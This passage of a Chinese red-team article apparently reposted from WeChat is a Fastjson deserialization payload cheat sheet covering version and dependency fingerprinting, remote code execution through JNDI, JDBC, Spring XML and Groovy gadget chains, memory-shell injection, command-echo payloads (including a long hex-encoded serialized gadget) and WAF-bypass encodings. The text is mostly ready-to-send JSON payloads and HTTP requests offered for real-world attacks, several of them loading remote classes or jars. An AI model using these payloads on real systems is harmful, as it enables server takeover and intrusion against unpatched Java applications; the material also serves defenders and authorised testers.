  • 插入\n \r等字符会改变输出;

  • 结遇到 # 时都会当注释符处理;

02
Fastjson版本探测

可以通过以下三种方法进行Fastjson版本探测。

(1) 延迟探测

fastjson 1.1.15-1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1000/badClassName", "autoCommit":true}

fastjson 1.2.9-1.2.47

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://127.0.0.1:1000/badNameClass",

        "autoCommit":true

    }

}

fastjson 1.2.36 - 1.2.62

{

    "regex":{

        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"

    },

    "blue":"aaaaaaaaaaaa!"

}

(2)报错回显探测

//payload1

{

  "@type": "java.lang.AutoCloseable"

// payload2

["a":1]或者[

(3) DNS探测

fastjson <= 1.2.80,80只会接收到第一个dnslog请求,83会收到两个

// 利用AutoCloseable探测payload

[

  {

    "@type": "java.lang.AutoCloseable",

    "@type": "java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.net.InetSocketAddress"

  {

    "address":,

    "val": "dnslog"

  }

}

]

// 利用AutoCloseable探测payload

{

    "a": {

        "@type": "java.lang.AutoCloseable",

        "@type": "com.alibaba.fastjson.JSONReader",

        "reader":

 {

            "@type": "jdk.nashorn.api.scripting.URLReader",

            "url": "http://dnslog"

        }

    }}

// 其他发起请求的payload{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

{"@type":"com.alibaba.fastjson.JSONObject",

 {"@type":

 "java.net.URL",

 "val":"http://dnslog"}}""}

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

Set[{"@type":"java.net.URL","val":"http://dnslog"}

{"@type":"java.net.InetSocketAddress"

{"address":,"val":"dnslog"}}

{{"@type":"java.net.URL","val":"http://dnslog"}:0

fastjson <= 1.2.47

// payload1

[

  {

    "@type":"java.lang.Class",

    "val":"java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.net.InetSocketAddress"

  {

    "address":,

    "val": "xxx.dnslog.cn"

  }

}

]

// payload2,48开始java.net.InetAddress被加入黑名单{"name":{"@type":"java.net.InetAddress","val":"xxx.dnslog.cn"}}

1.2.37 <= fastjson < = 1.2.42

// payload1

[

  {

    "@type":"java.lang.Class",

    "val":"java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.io.ByteArrayOutputStream"

  },

  {

    "@type": "java.net.InetSocketAddress"

  {

    "address":,

    "val": "xxx.dnslog.cn"

  }

}

]

// payload2,48开始java.net.InetAddress被加入黑名单{"name":{"@type":"java.net.InetAddress","val":"xxx.dnslog.cn"}}

1.2.37 <= fastjson < = 1.2.42

// 43开始java.net.URL被加入黑名单

{{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}:"aaa"}

1.1.16 <= version <= 1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn","autoCommit":true}}

fastjson < = 1.2.43

03
Fastjson AutoType探测

探测思路是,寻找一个不在黑白名单、deserializers以及mappings中的JDK内置类,在开启atp的情况下就会加载该类,并执行后面的请求链,在未开启atp的情况下就会抛出异常,也就无法接收到请求。

这里利用的是JDK内置的工具类 java.util.Base64,当然可以换成其他的。

[{"@type":"java.util.Base64"},{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}]

04
Fastjson依赖库探测

存在依赖库时会回显出(具体看环境,有些不会回显错误信息),实战中如果碰到会回显的环境,可以用黑名单里面的类去爆破(https://github.com/LeadroyaL/fastjson-blacklist)。

{

  "x": {

    "@type": "java.lang.Character"{

  "@type": "java.lang.Class",

  "val": "com.mysql.jdbc.Driver"}}

}

存在时会返回一个类实例,如果不存在会返回 null(具体看环境,如果将parse的结果返回则可以回显看出)。

{

  "x": {

    "@type": "java.lang.Class",

    "val": "com.alibaba.fastjson.JSONObject"

  }

}

05
Fastjson RCE

实战中,以下为可以RCE的payload。

fastjson <= 1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/exp","autoCommit":true}}

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/exp","autoCommit":true}}

fastjson <= 1.2.47

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/exp","autoCommit":true}}

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/exp","autoCommit":true}}

fastjson <= 1.2.68

条件:需存在mysql-connector-java和commons-collections(当然其他利用链也可以)。

SSRF链通杀5.1.x所有版本,5.1.11 <= mysql-connector-java <= 5.1.48可反序列化:

{

    "@type":"java.lang.AutoCloseable",

    "@type": "com.mysql.jdbc.JDBC4Connection",

    "hostToConnectTo": "127.0.0.1",

    "portToConnectTo": 3306,

    "info":

    {

        "user": "yso_CommonsCollections5_calc", // 利用链,看情况自己修改

        "password": "pass",

        "statementInterceptors":  

       "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",

        "autoDeserialize": "true",

        "NUM_HOSTS": "1"

    },

    "databaseToConnectTo": "dbname",

    "url": ""

}

mysql-connector 6.0.2 or 6.0.3

{

    "@type":"java.lang.AutoCloseable",

"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",

    "proxy":

    {

        "connectionString":

        {

            "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc"

        }

    }

}

mysql-connector 6.x or < 8.0.20

{

    "@type":"java.lang.AutoCloseable",

    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",

    "proxy":

    {

        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",

        "connectionUrl":

        {

            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",

            "masters":

            [

                {

                    "host": "127.0.0.1"

                }

            ],

            "slaves": [],

            "properties":

            {

                "host": "127.0.0.1",

                "user": "yso_CommonsCollections5_calc",

                "dbname": "dbname",

                "password": "pass",

                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",                "autoDeserialize": "true"

            }

        }

    }

}

条件:需存在postgresql 依赖和spring环境

42.3.0 <= postgresql < 42.3.2,postgresql < 42.2.25

{

  "@type":

 "java.lang.AutoCloseable",

  "@type": "org.postgresql.jdbc.PgConnection",

  "hostSpecs": [{

      "host": "127.0.0.1",

      "port": 2333

  }],

  "user": "test",

  "database": "test",

  "info":

 {

      "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",      "socketFactoryArg": "http://127.0.0.1:8081/test.xml"

  },

  "url":""

 }

// test.xml

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       

xsi:schemaLocation="     

http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"       <bean id="test" class="java.lang.ProcessBuilder"

     <constructor-arg value="calc.exe" />

    <property name="whatever" value="#{test.start()}"/>

    </bean>

</beans>

还可以利用java.lang.AutoCloseable配合其他JNDI注入的链达到RCE(注意typeName是否在黑名单中),也可以利用commons-io依赖来进行任意文件写入。

fastjson <= 1.2.80

条件:需要存在Groovy依赖。

// payload1

{

    "@type":"java.lang.Exception",

    "@type":"org.codehaus.groovy.control.CompilationFailedException",

    "unit":{}

}

// payload2

{

    "@type":"org.codehaus.groovy.control.ProcessingUnit",

    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",

    "config":{

        "@type":"org.codehaus.groovy.control.CompilerConfiguration",

        "classpathList":"http://127.0.0.1:8081/attack-1.jar"

    }

}

06
Fastjson不出网利用

(1)Fastjson写webshell

一般都是配合第三方依赖,如配合commons-io来进行写文件,但有时候jsp文件不一定能够解析,所以不太好利用起来。

(2)Fastjson注内存马

编写好要加载的内存马,然后编译成class文件,放在web服务下,配合JNDI注入打入内存马即可。

网上已经公开有各种类型的内存马,可以自己修改下,也可以直接利用已经集成好的JNDI注入工具直接注内存马

POST /json HTTP/1.1

Host: 127.0.0.1:8080Content-Type: application/json;charset=UTF-8

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatMemshell3",

        "autoCommit":true

    }

}

(3)Fastjson 回显利用

(i)基于dbcp的回显

条件:jdk <= 8u251,存在 tomcat-dbcp

如果应用部署在Tomcat应用环境中,则Tomcat应用环境中自带tomcat-dbcp.jar,而对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的,需要在maven中配置tomcat-dbcp。对于不同版本的tomcat使用的payload不一样:

tomcat7:

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后:

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

fastjson <= 1.2.24

// tomcat8及其以后

POST /json HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: application/json

cmd: whoami

{

    {

        "@type": "com.alibaba.fastjson.JSONObject",

        "x":{

                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

                 "driverClassLoader": {

                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"

                },

                "driverClassName": "$$BCEL..."

        }

    }:

 "x"}

// tomcat7

"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"

1.2.33 <= fastjson <= 1.2.47

{

    "xx":

    {

        "@type" : "java.lang.Class",

        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"    },

    "x" : {

        "name": {

            "@type" : "java.lang.Class",

            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"

        },

        {

            "@type":"com.alibaba.fastjson.JSONObject",            "c": {                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "driverClassLoader": {

                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"

                },

                "driverClassName":"$$BCEL..." 

           }

        } : "xxx"

    }

}

// tomcat7,修改两处@type

"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"

很多JNDI注入工具也有集成回显的功能:

POST /json HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: application/json

cmd: whoami

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho",

        "autoCommit":true

    }

}

(ii)基于mybatis的回显

条件:jdk <= 8u251,存在 mybatis

POST /json HTTP/1.1

Host: 127.0.0.1:8080

Content-Type:

 application/json

cmd:whoami

{"x":{{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL..."}}:"a"}}

(iii)基于c3p0的回显

条件:需要存在cc链以及c3p0依赖

POST /json HTTP/1.1

Host: 127.0.0.1:8999

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflate

cmd: dir

Accept-Language: zh-CN,zh;q=0.9Connection: close

Content-Type: application/json

Content-Length: 8925

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F537472696E673B01001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294C6A6176612F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0100046E6578740100136A6176612F696F2F5072696E745772697465720100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B2956010005666C7573680100116765744465636C617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A01000D6765745375706572636C617373010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700CA0A00CB005F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B000000040001003C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30006B8000703B80008B100000002003F0000001A0006000000140004001500080016000C001700160018001D001900400000000C00010000001E004100420000000A004300440001003E0000005A000200010000001A2AC6000DB200062AB6000999000504ACB200062AB6000A5703AC00000003003F0000001200040000001D000E001E001000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A00480001003E000001D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70051120C2AB6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007A00E200E500170003003F0000006A001A000000250012002600130028001A0029002C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A00040049004A0002007F0063004B004C0002000000EF004D00460000000000EF004E004F0001004700000022000B1200336107005004FC002D07005109FF003E0002070052010001070050000006000A005300480001003E000001580002000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B6002D013A0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE360903360A150A1509A200161908150A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000005000050052001E00530024005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007A0065007B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E00560055005600060000008400570046000000000084004E004F00010005007F00580059000200470000002E0008FC000507005AFE000B07005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E707400016170770100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000000787871007E000D78;"}}

(iv)基于TemplatesImpl的回显

正如之前TemplatesImpl链分析一样,限制较大,需要带上Feature.SupportNonPublicField这个属性。

07
Fastjson bypassWaf

在实战中,我们会碰到各种waf,而bypass方式的研究主要是基于fastjson在解析并处理json数据时的特性,下面列出几种bypass方式。

第一种:编码

{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}  

{"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

第二种:注释符

{/*111111111111*/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

//添加额外key,填写垃圾字符,和注释差不多

{"1":"11111111111111111111111111111111111111111111111111111111111111111111111111111111111","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

第三种:特殊字符

// 插入\n

{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

// 插入\b

{"@type\b":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

// 插入空格

{"@type\b":"c om.sun.rowset.Jdb cRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

//插入,

{,,,,,,,,,,,,,,,,,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389","autoCommit":true}

参考文件

https://blog.csdn.net/mole_exp/article/details/122315526

https://blog.csdn.net/dreamthe/article/details/125851153

https://github.com/su18/hack-fastjson-1.2.80

https://github.com/Whoopsunix/fastjson_study/blob/master/fastjsonCheck/fastjsonCheck.md

https://github.com/LeadroyaL/fastjson-blacklist

https://github.com/safe6Sec/Fastjson

关于作者:

l2sec:青藤红队三队成员,主要研究方向为红蓝对抗和漏洞挖掘。

-完-


文章来源: https://mp.weixin.qq.com/s?__biz=MzUyOTkwNTQ5Mg==&mid=2247487606&idx=1&sn=03b7659eb1e2fe56eb0c9d2ddba17a9b&chksm=fa58b24dcd2f3b5be6a5415bfb84c8e14023c80cdcbf66905221859ef8ef937b52e3324c0b71&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh